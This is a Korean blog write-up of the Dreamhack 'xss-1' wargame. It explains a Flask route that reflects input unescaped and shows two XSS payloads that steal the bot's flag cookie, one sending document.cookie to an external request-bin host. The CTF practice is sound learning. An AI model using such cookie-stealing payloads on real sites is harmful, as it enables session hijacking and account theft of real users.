본문 바로가기

드림핵

[드림핵 워게임] xss-1

위의 문제를 다음과 같은 과정으로 풀어보았다.

 

 

1. 총 4개의 페이지가 있는 것을 확인할 수 있다.

인덱스 페이지를 포함해 vuln, memo, flag 페이지가 있는 것을 볼 수 있다. 코드상으로는 47행부터 인덱스 페이지, 52행부터 vuln 페이지, 58행부터 flag 페이지, 73행부터 memo 페이지가  코딩되어 있다.

 

 

 

 

2. 각 페이지의 특징을 살펴본다.

 

(1) 인덱스 페이지 ( / )

다른 페이지들로 이동할 수 있는 home페이지다.

 

 

(2) vuln 페이지 ( /vuln )

vuln 페이지로 들어가보면 alert 창이 뜬다. 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

코드를 확인해보면, vuln 페이지에서는 사용자가 입력한 url에 있는 파라미터 값을 그대로 return 하는 것을 볼 수 있다. vuln 페이지로 들어갔을 때 alert창이 뜨는 것은 param 파라미터 값으로 입력된 스크립트 코드가 그대로 실행된 것임을 알 수 있다. 이 부분에서 vuln페이지가 xss에 취약한 페이지임을 알 수 있다.

 

 

(3) flag 페이지 ( /flag )

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 페이지는 GET  메소드로 요청했을 때는 url를 입력할 수 있는 페이지를 렌더링하고, POST 메소드로 요청했을 때는 check_xss() 함수를 호출하고 check_xss() 함수는 read_url() 함수를 호출하여 vuln 페이지로 param 파라미터 값을 전달한다.

 

 

(4) memo 페이지 ( /memo )

memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

memo 페이지에서는 memo 파라미터로 받은 입력값을 렌더링 되는 페이지에 출력한다.

 

 

 

 

3. flag 페이지에서 POST 메소드로 보내지는 param 파라미터 값에 XSS 코드를 삽입한다.

 

flag 페이지에서는 취약점이 있는 vuln 페이지로 param 파라미터 값을 전달하고, vuln 페이지에서는 전달받은 파라미터 값이 스크립트 코드여도 그대로 실행하므로 이 점을 이용하여 XSS을 시도할 수 있다. 이때 페이지 이동할 수 있는 프로퍼티인 location.href 를 활용해 vuln페이지에서 실행된 스크립트 코드가 memo 페이지에 document.cookie를 출력하는 기능을 하도록 스크립트를 짜보자.

 

<script>location.href = "/memo?memo=" + document.cookie;</script>

 

위와 같은 코드를 flag 페이지에 입력하여 제출 버튼을 클릭하면 good이라는 alert 창이 뜬다.

 

 

 

 

4. 이제 memo 페이지로 접속하면 flag가 출력된 것을 확인할 수 있다.

 

 

 

<다른 방법으로 flag 얻기>

flag를 memo 페이지에 출력하는 것이 아니라 외부에서 접근 가능한 웹서버를 이용해 얻을 수 있는 방법도 있다. 외부에서 접근 가능한 서버 중 Dreamhack Tools를 이용했다.

Dreamhack Tools > Request Bin 으로 들어가면 랜덤 url을 생성해준다. 해당 url에 3번 단계에서 memo 파라미터에 document.cookie를 줬던 것처럼 스크립트 코드를 붙인다.

 

<script>location.href = "https://랜덤문자열.request.dreamhack.games/?memo="+document.cookie</script>

 

위와 같은 스크립트 코드를 flag 페이지에 입력하고 제출하면 vuln 페이지에서 스크립트 코드를 실행한다. 그리고 Dreamhack Tools 웹서버는 접속 기록을 저장한다.

빨간 네모로 표시한 곳에 접속 기록이 출력되고, 접속 기록을 클릭하면 My Request > Query String 에서 flag를 확인할 수 있다.

'드림핵' 카테고리의 다른 글

[드림핵 워게임] csrf-1  (1) 2022.09.23
[드림핵 워게임] xss-2  (1) 2022.09.21
[드림핵 워게임] session-basic  (0) 2022.09.18
[드림핵 워게임] cookie  (0) 2022.09.16
[드림핵 워게임] web-misconf-1  (0) 2022.09.16